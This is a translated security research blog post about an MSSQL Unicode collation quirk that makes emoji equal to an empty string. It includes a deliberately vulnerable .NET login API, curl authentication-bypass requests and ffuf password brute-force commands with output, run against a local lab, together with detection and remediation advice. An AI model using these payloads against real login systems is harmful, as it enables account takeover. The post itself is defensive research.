戈布林表情符与空字符串:微软SQL Server中的一个有趣漏洞
Stephen Moir - 应用安全架构师,Pulse Security的客户,全能达人 - 最初向我提出了这个问题。Stephen和Pulse已经合作了一段时间,当他发来一封标题为"Nulls、whitespace和control characters"的邮件时,我就知道是时候系好安全带,准备迎接一些诡异的技术幕后故事了。Stephen发来了他的概念验证,我们聊了聊如何构建一个测试工具来展示这个问题,现在,我们就来深入探讨吧!
看看这个:
$ sudo docker exec -it 117e67d62e66 /opt/mssql-tools18/bin/sqlcmd -C -S localhost -U sa -P wehwahblorP2 -d DemoApiDb
1> SELECT CASE WHEN N'👺' = N'' THEN 'Equal' ELSE 'Not Equal' END ;
2> go
-----
Equal
(1 rows affected)
1>
根据微软SQL Server的逻辑,一个戈布林表情符和一个空字符串是相同的。让我们讨论一下这如何可能成为一个漏洞。这篇文章中的代码是我自己创建的,是一个用于演示这个问题的简单测试API。有趣的是,下面的行为也会发生:
1> SELECT CASE WHEN N'👺a👺b👺c' = N'abc' THEN 'Equal' ELSE 'Not Equal' END ;
2> go
-----
Equal
(1 rows affected)
1>
漏洞和利用
对,我们知道在微软SQL Server中,戈布林和"无"是一回事。如果连接到MSSQL的应用程序正确地推断出戈布林表情符并不是空字符串,那么现在我们就有了一个应用程序和数据库之间存在不同排序逻辑的实例,这有时可能会导致安全漏洞。
下面是一个玩具登录API的源代码。我使用dotnet core 8和EntityFramework构建,下面是代码片段 - 忽略明文密码,这对演示无关。如果你在构建真实系统,你需要密码哈希、账户管理、暴力破解防护、多因素认证以及我的这个愚蠢的玩具代码没有的一堆东西。
namespace apidemo
{
public class User {
public int Id { get; set; }
public string username {get; set;} = "";
public string email {get; set;} = "";
public string? password {get; set;}
public bool IsActive {get; set;}
}
public class UserDb: DbContext
{
public UserDb(DbContextOptions<UserDb> options)
: base(options){}
public DbSet<User> Users => Set<User>();
}
static class Program
{
static void Main(string[] args){
var builder = WebApplication.CreateBuilder(args);
...yoink...
app.MapPost("/login", async (UserDb db, [FromForm(Name = "username")] string? user,
[FromForm(Name = "email")] string? email,
[FromForm(Name = "password")] string? password) =>
{
if(String.IsNullOrWhiteSpace(password)){
return Results.BadRequest("Missing password");
}
if(!String.IsNullOrWhiteSpace(email)){
// login with email
var r = await db.Users.Where(u => u.email == email).Where(u => u.password == password).FirstOrDefaultAsync();
if(r != null){
return Results.Ok($"Logged in user ID {r.Id}");
}
}
if(!String.IsNullOrWhiteSpace(user)){
// login with username
var r = await db.Users.Where(u => u.username == user).Where(u => u.password == password).FirstOrDefaultAsync();
if(r != null){
return Results.Ok($"Logged in user ID {r.Id}");
}
}
return Results.Ok($"Login Failed");
}).DisableAntiforgery();
这段代码允许用户通过电子邮件或用户名登录。提供用户名和密码?它会匹配该用户。提供电子邮件?它将使用该邮箱进行匹配。
让我们快速看看数据库,我们有很多没有设置电子邮件的用户:
1> SELECT count(Id) FROM USERS WHERE email = N'';
2> go
-----------
1003
(1 rows affected)
1>
如果我们指定一个戈布林表情符作为电子邮件地址,它会通过空字符串测试:
if(!String.IsNullOrWhiteSpace(email)){
// login with email
var r = await db.Users.Where(u => u.email == email).Where(u => u.password == password).FirstOrDefaultAsync();
if(r != null){
return Results.Ok($"Logged in user ID {r.Id}");
}
}
Dotnet知道我们的戈布林并不是空字符串,但MSSQL却坚持认为它是。
这意味着如果我们指定一个戈布林表情符作为电子邮件地址,MSSQL会检查每一行空白电子邮件并依次尝试密码。我们可以一次性暴力破解所有有空白电子邮件的用户的密码,如果我们想,对用户名也可以这样做。因此,这就是我们的漏洞。指定一个戈布林表情符或任何其他会触发此条件的Unicode字符串和一个密码,就可以登录任何具有该密码的用户:
:~$ curl -i "http://localhost:5055/login" -X POST -d "email=💩&password=foo"
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 26 Nov 2024 02:56:43 GMT
Server: Kestrel
Transfer-Encoding: chunked
"Logged in user ID 9"
上面显示用户ID 9的密码是foo。我们甚至不需要知道该用户的用户名。这显著提高了暴力破解密码攻击的效率,因为我们不再需要有效的用户名。只要有任何用户设置了该密码,它就会让我们登录。
以下展示了使用ffuf工具(https://github.com/denandz/ffuf)执行暴力破解攻击,并找到有效密码。我在这里使用了我自己的ffuf分支,因为它包含审计日志记录,可以让我解析模糊测试运行信息并执行各种统计分析技巧。
$ ./ffuf -w ~/xato-net-10-million-passwords-1000.txt -u "http://localhost:5055/login" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=👺&password=FUZZ" -mc all -fr "Login Failed" -audit-log=login-brute-1.json
/'___ /'___ /'___
/ __/ / __/ __ __ / __/
,__\ ,__/ / ,__
_/ _/ _ _/
_ _ ____/ _
/_/ /_/ /___/ /_/
v2.2.0-doi
________________________________________________
:: Method : POST
:: URL : http://localhost:5055/login
:: Wordlist : FUZZ: /home/doi/xato-net-10-million-passwords-1000.txt
:: Header : Content-Type: [application/x-www-form-urlencoded]
:: Data : username=👺&password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Regexp: Login Failed
________________________________________________
123123 [Status: 200, Size: 24, Words: 5, Lines: 1, Duration: 44ms]
monkey [Status: 200, Size: 24, Words: 5, Lines: 1, Duration: 44ms]
696969 [Status: 200, Size: 24, Words: 5, Lines: 1, Duration: 44ms]
jordan [Status: 200, Size: 24, Words: 5, Lines: 1, Duration: 48ms]
zxcvbnm [Status: 200, Size: 24, Words: 5, Lines: 1, Duration: 49ms]
dragon [Status: 200, Size: 24, Words: 5, Lines: 1, Duration: 46ms]
...yoink...
太棒了。这本质上是一个真实生活中漏洞的缩影。但核心问题真的是MSSQL对Unicode的奇怪处理。
为什么会这样?
真正的问题是为什么会出现这个bug。简而言之,应用服务器和数据库服务器以不同的方式匹配字符串。有时,这些处理逻辑的差异可以被利用。
Dotnet – string.IsNullOrWhiteSpace(👺) - false SQL – N'👺' == '' - true
我们可以进一步研究MSSQL服务器的逻辑。在演示代码中还有一个API可以根据用户名检索用户:
// get a user by username
app.MapGet("/user", async (UserDb db, [FromQuery(Name = "username")] string user) =>
{
var r = await db.Users.Where(u => u.username == user).ToListAsync();
return r;
});
为了看看这个问题是否可以由任何Unicode字符触发,或者只是某些特定的Unicode字符,我进行了模糊测试。
首先,我生成了一个包含所有Unicode图形的词列表(注意,这不包括多字符表情符等,但包括我们的戈布林朋友)并使用pencode进行URL编码:
$ curl https://www.unicode.org/Public/UCD/latest/ucd/UnicodeData.txt | cut -f1 -d; | while read codepoint; do echo -e "U$codepoint"; done > unicode-utf8.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2124k 100 2124k 0 0 528k 0 0:00:04 0:00:04 --:--:-- 529k
$ grep -a 👺 unicode-utf8.txt
👺
$ pencode -input unicode-utf8.txt urlencode > unicode-utf8-urlencoded.txt
$ tail -1 unicode-utf8-urlencoded.txt
%F4%8F%BF%BD
接下来,我对ffuf进行了一些基本的响应大小过滤,并运行了模糊测试。使用新的审计日志记录功能,这只是一个不错的功能,可以清理终端输出,审计日志JSON包含所有发送的请求和响应,无论是否经过过滤。
$ curl -i "http://localhost:5055/user?username=q" ; echo
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 26 Nov 2024 03:14:56 GMT
Server: Kestrel
Transfer-Encoding: chunked
[]
$ ./ffuf -w unicode-utf8-urlencoded.txt -audit-log=unicode-fuzz-1.json -u "http://localhost:5055/user?username=FUZZ" -mc all -fs 2
/'___ /'___ /'___
/ __/ / __/ __ __ / __/
,__\ ,__/ / ,__
_/ _/ _ _/
_ _ ____/ _
/_/ /_/ /___/ /_/
v2.2.0-doi
________________________________________________
:: Method : GET
:: URL : http://localhost:5055/user?username=FUZZ
:: Wordlist : FUZZ: /home/doi/go/src/github.com/denandz/ffuf/unicode-utf8-urlencoded.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 2
________________________________________________
[Status: 200, Size: 147, Words: 1, Lines: 1, Duration: 29ms]
[Status: 200, Size: 147, Words: 1, Lines: 1, Duration: 42ms]
%00 [Status: 200, Size: 147, Words: 1, Lines: 1, Duration: 63ms]
[Status: 200, Size: 147, Words: 1, Lines: 1, Duration: 131ms]
+ [Status: 200, Size: 147, Words: 1, Lines: 1, Duration: 149ms]
%C7%B9 [Status: 200, Size: 147, Words: 1, Lines: 1, Duration: 7ms]
%C7%B7 [Status: 200, Size: 147, Words: 1, Lines: 1, Duration: 7ms]
%C8%98 [Status: 200, Size: 147, Words: 1, Lines: 1, Duration: 2ms]
%C8%9C [Status: 200, Size: 147, Words: 1, Lines: 1, Duration: 2ms]
...yoink...
有趣的是,在GET请求中,一个空字节(如上文提到的%00)也会触发这个问题。而在POST请求中,当目标是dotnet时,这会导致返回400错误。这也是为什么在之前的模糊测试中(主要针对POST请求)没有观察到这种行为的原因。另外,我还注意到,一个加号符号在解析时会被解释为一个空格,因此也会匹配成功。这是pencode
在执行URL编码时应该标记的问题,下次有空我会深入研究一下这个现象。
接着,我们来分析响应大小,以判断是否任何Unicode字形都能触发这个问题,还是需要特定的条件。当MSSQL中的这个问题被触发时,响应大小为147字节:
$ jq '. | select(.Type == "*ffuf.Response").Data.ContentLength' < unicode-fuzz-1.json | sort | uniq -c
34305 147
5812 2
可以看到,这个字典中的测试用例有34305个触发了这个行为,而有5812个没有触发。这说明问题并不是简单的“任何Unicode字符等于空字符串”这么直观,而是有更复杂的机制在起作用。接下来,我们可以将触发和未触发的字符分别提取出来,进行进一步分析。
ffuf
的审计日志将测试的payload存储为Base64格式,我们可以先提取这些数据并解码后再进行分析:
$ jq -r '. | select(.Data.ContentLength == 147) | .Data.Request.Input.FUZZ' < unicode-fuzz-1.json > triggers-base64-url.txt
$ jq -r '. | select(.Data.ContentLength == 2) | .Data.Request.Input.FUZZ' < unicode-fuzz-1.json > nontriggers-base64-url.txt
$ pencode -input triggers-base64-url.txt b64decode urldecode > triggers.txt
$ pencode -input nontriggers-base64-url.txt b64decode urldecode > nontriggers.txt
然后我们可以比较一些测试用例(shuf只是为我们选择一个随机条目进行查看):
$ shuf -n1 triggers.txt | xxd
00000000: e18f b20a ....
$ shuf -n1 triggers.txt | xxd
00000000: f096 a988 0a .....
$ shuf -n1 triggers.txt | xxd
00000000: f093 bea3 0a .....
$ shuf -n1 nontriggers.txt | xxd
00000000: e287 8c0a ....
$ shuf -n1 nontriggers.txt | xxd
00000000: efa8 910a ....
$ shuf -n1 nontriggers.txt | xxd
00000000: e0af ab0a
正如我们所看到的,这并不是一个“任何Unicode字符”的问题。有些Unicode字形会触发这个问题,而另一些则不会触发。这表明微软的排序逻辑中存在更多复杂的机制,要弄清楚具体原因,可能需要深入调试器或反汇编工具进行研究。
如果我们想进一步探索这个问题,现在已经有了触发和未触发条件的字符样本,这将使逆向工程的分析过程更加容易。
情况变得更加复杂
这个问题仅仅影响MSSQL吗?有趣的是,并非如此!Stephen指出,这个问题在.NET环境中(特别是Windows上的net481目标框架)也会被触发。以下是一个测试代码示例:
值得注意的是,net481的表现和MSSQL一致,而dotnet core却不受影响:
namespace consoleapp
{
internal class Program
{
static void Main(string[] args)
{
if ("Ԥ".Equals("", StringComparison.CurrentCulture))
{
Console.WriteLine("1. Works the same as SQL");
}
else {
Console.WriteLine("1. Works differently");
}
if ("Ԥ".Equals("", StringComparison.InvariantCulture))
{
Console.WriteLine("2. Works the same as SQL");
}
else {
Console.WriteLine("2. Works differently");
}
if ("Ԥ".Equals(""))
{
Console.WriteLine("3. Works the same as SQL");
}
else {
Console.WriteLine("3. Works differently");
}
}
}
}
并执行:
:~/src/consoleapp$ dotnet run
1. Works differently
2. Works differently
3. Works differently
在Linux环境中,我们并未发现这个问题!显然,这个排序错误是Windows体系内的某种机制引入的。由于这个Bug在Linux上的MSSQL中也会出现,我猜测微软的开发人员可能将Windows库中的Unicode处理逻辑直接拷贝到了MSSQL项目中。当然,这只是我的推测。
更进一步的思考
有趣的是,还发现了以下这种情况:
1> SELECT CASE WHEN N'👺a👺b👺c' = N'abc' THEN 'Equal' ELSE 'Not Equal' END ;
2> go
-----
Equal
(1 rows affected)
1>
字符之间插入的“捣乱符号”会被忽略。这种行为可能会带来更多的机会,利用处理差异来绕过某些限制。比如,可以通过在字符串中插入一些“捣乱符号”,绕过某些WAF(Web应用防火墙)或其他基于黑名单的防护机制,从而进行攻击——例如,第三方软件中存在的某个带有已知密码的硬编码用户可能因此被利用。
发现与修复
这类处理不一致导致的漏洞发现起来往往十分困难,因为它们源于两个系统之间的交互和差异。在本文的案例中,问题出在应用程序的字符串处理和MSSQL数据库的字符串处理之间。
虽然本文用的是dotnet的例子,但实际上任何使用MSSQL作为后端数据库的应用都有可能遭遇类似的漏洞。以下是一些关于如何发现和修复此类问题的指导:
检测
在示例代码中,你会注意到我没有写任何SQL查询,而是用了一个知名框架(Entity Framework),它帮我完成了所有的操作。这意味着,仅靠源码分析可能很难发现这个问题。以下是我的一些建议:
-
确认目标是否使用了MSSQL作为后端。如果是,则需要重点关注Unicode排序处理的不一致性。 -
搜索应用程序代码或逆向分析的二进制文件中那些判断字符串是否为空或null的逻辑。这些地方通常是进行模糊测试的好目标。 -
在数据库端记录SQL查询,并将其映射到受攻击者控制的参数,寻找字符串比较的场景,尤其是数据集中包含空字符串的列。 -
确保采用强大的Web应用输入模糊测试流程来寻找异常。这包括在模糊测试词表中加入Unicode字符串。需要注意的是,根据响应数据和时间差异,此类问题有时通过模糊测试也难以捕捉,因此应结合日志审查和二进制/源码分析。
别忘了,你不仅可以使用手动测试、源码审查或二进制分析,也可以在不同场景中结合这些方法来深入理解目标系统的行为。
修复
解决这些问题需要在检查空字符串时格外小心,并理解Unicode字符集可能带来的排序问题。
具体到某个实例,这种处理不一致是否会构成安全漏洞并非简单的问题,需要进行个案分析。我引用Stephen的原话如下:
这种行为带来的问题大小取决于应用程序本身……它可能是个大问题,也可能完全没问题。
在SQL查询中添加一个附加条件(例如 AND @COLUMN <> ""
)可以解决问题。但在我的测试API中,我使用的是Entity Framework,无法轻松控制框架底层生成的SQL查询。输入验证很难抵御这类攻击,因此任何过滤或逻辑变更都需要经过全面的测试,确保漏洞得到修复。我建议首先实现允许列表来限制合法字符和模式(至少对于电子邮件来说,这相对容易),然后再进行进一步的模糊测试,捕获边界情况。
需要再次强调,这个问题并不仅仅影响dotnet应用——任何语言编写的应用程序,只要使用MSSQL作为后端,都可能遭受类似的问题。
具体影响的严重程度取决于由此产生的漏洞在实际中能造成什么影响。如同网络安全中的许多问题一样,这需要具体分析,不能一概而论。
总结
撰写这篇文章并研究这个问题非常有趣。我尤其喜欢这次探索是由客户带来的,我们一起“跳进了兔子洞”。通过这次经历,我们对这些系统的理解都更进一步,也发现了一个“神奇的边界案例”。
我期待着下一次我们能一起钻研的新问题,同时也感谢Stephen Moir将我拉入了这次探险。
加分项 - “黑盒”渗透测试的局限性
本文探讨了一个由于应用程序和MSSQL数据库之间的处理不一致而出现的漏洞。开发者在这里并没有明显的失误。自动化扫描器或静态代码分析也未能检测到这个漏洞。这种问题可能通过手动引导的Web应用模糊测试被发现,但如果无法深入日志和后端系统进行全面的安全研究和漏洞挖掘,渗透测试人员能否解释清楚问题产生的原因?这点存疑。
这很好地展示了传统“黑盒”渗透测试的局限性。只有对系统有更深入的理解,安全测试人员才能发现更深层次的漏洞,并提供更合理的修复建议。即使是OWASP应用安全验证标准(ASVS)也对此有提及:
L1是唯一完全可以由人工渗透测试实现的等级。所有其他等级都需要访问文档、源代码、配置以及开发人员。然而,即使L1允许进行‘黑盒’测试(无文档和源码),这并不是一个有效的保障活动,应被积极劝阻。 - ASVS标准文档
因此,如果你是一名渗透测试人员,建议将研究、逆向工程和源码分析融入日常工作,并尝试理解某些行为的原因。
如果你正计划让别人进行安全测试,希望本文的例子能为你提供实际案例,说明为什么安全顾问和测试人员会提出一些看似奇怪的需求,与十年前测试系统的方式截然不同。
测试API的搭建
为复制功能并更好地理解逻辑而设置一些玩具代码,是一种非常有效的漏洞挖掘技巧。考虑到未来可能还需要搭建Entity Framework、本地数据库和简单API,我记录了这次测试实验室的搭建步骤。希望这些步骤不仅能帮到读者,也能帮到未来的我。
本文最后还包括了我玩具API的源代码。我在Debian Linux虚拟机上运行了这些代码,并通过以下命令运行数据库:
sudo docker run --rm -e "ACCEPT_EULA=Y" -e "MSSQL_SA_PASSWORD=..." -p 1433:1433 -d mcr.microsoft.com/mssql/server:2022-latest
将dotnet应用程序配置如下:
:~/src/apidemo-csharp$ cat appsettings.Development.json
{
"Logging": {
"LogLevel": {
"Default": "Debug",
"System": "Information",
"Microsoft": "Information"
}
},
"ConnectionStrings" : {
"DefaultDatabase": "Server=localhost;Database=DemoApiDb;User Id=sa;Password=...;TrustServerCertificate=true"
}
}
您需要以下软件包:
dotnet add package Microsoft.AspNetCore.Diagnostics.EntityFrameworkCore –prerelease
dotnet add package Microsoft.EntityFrameworkCore.SqlServer
将玩具代码复制到 Program.cs 后,您可以使用以下内容来设置数据库:
dotnet tool install -g dotnet-ef
~/.dotnet/tools/dotnet-ef migrations add InitialCreate -v
~/.dotnet/tools/dotnet-ef database update -v
最后运行 dotnet run 。您需要通过向 /users 发送数据来创建一些用户。例如:
curl -X POST -H "Content-Type: application/json" http://localhost:5055/users -d '{"isActive":true, "password":"foo", "username":"blah"}'; echo
Program.cs
// 这是一个用于测试EF和MSSQL Unicode处理逻辑的玩具代码
// 请勿将其作为真实代码的参考
using Microsoft.EntityFrameworkCore;
using Microsoft.AspNetCore.Mvc;
namespace apidemo
{
public class User {
public int Id { get; set; }
public string username {get; set;} = "";
public string email {get; set;} = "";
public string? password {get; set;}
public bool IsActive {get; set;}
}
public class UserDb: DbContext
{
public UserDb(DbContextOptions<UserDb> options)
: base(options){}
public DbSet<User> Users => Set<User>();
}
static class Program
{
static void Main(string[] args){
var builder = WebApplication.CreateBuilder(args);
builder.Services.AddDbContext<UserDb>(opt => {
opt.UseSqlServer(builder.Configuration.GetConnectionString("DefaultDatabase"));
});
var app = builder.Build();
app.MapGet("/", () => "Demlo");
// 用户登录
app.MapPost("/login", async (UserDb db, [FromForm(Name = "username")] string? user,
[FromForm(Name = "email")] string? email,
[FromForm(Name = "password")] string? password) =>
{
if(String.IsNullOrWhiteSpace(password)){
return Results.BadRequest("缺少密码");
}
if(!String.IsNullOrWhiteSpace(email)){
// 使用电子邮件登录
var r = await db.Users.Where(u => u.email == email).Where(u => u.password == password).FirstOrDefaultAsync();
if(r != null){
return Results.Ok($"已登录用户 ID {r.Id}");
}
}
if(!String.IsNullOrWhiteSpace(user)){
// 使用用户名登录
var r = await db.Users.Where(u => u.username == user).Where(u => u.password == password).FirstOrDefaultAsync();
if(r != null){
return Results.Ok($"已登录用户 ID {r.Id}");
}
}
return Results.Ok($"登录失败");
}).DisableAntiforgery();
// 通过用户名获取用户
app.MapGet("/user", async (UserDb db, [FromQuery(Name = "username")] string user) =>
{
var r = await db.Users.Where(u => u.username == user).ToListAsync();
return r;
});
// 列出所有用户
app.MapGet("/users", async (UserDb db) => await db.Users.ToListAsync());
// 添加一个用户
app.MapPost("/users", async (User user, UserDb db) =>
{
db.Users.Add(user);
await db.SaveChangesAsync();
return Results.Created($"/users/{user.Id}", user);
});
app.Run();
}
}
}
原文始发于微信公众号(独眼情报):MSSQL 易受表情符号字符串攻击
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论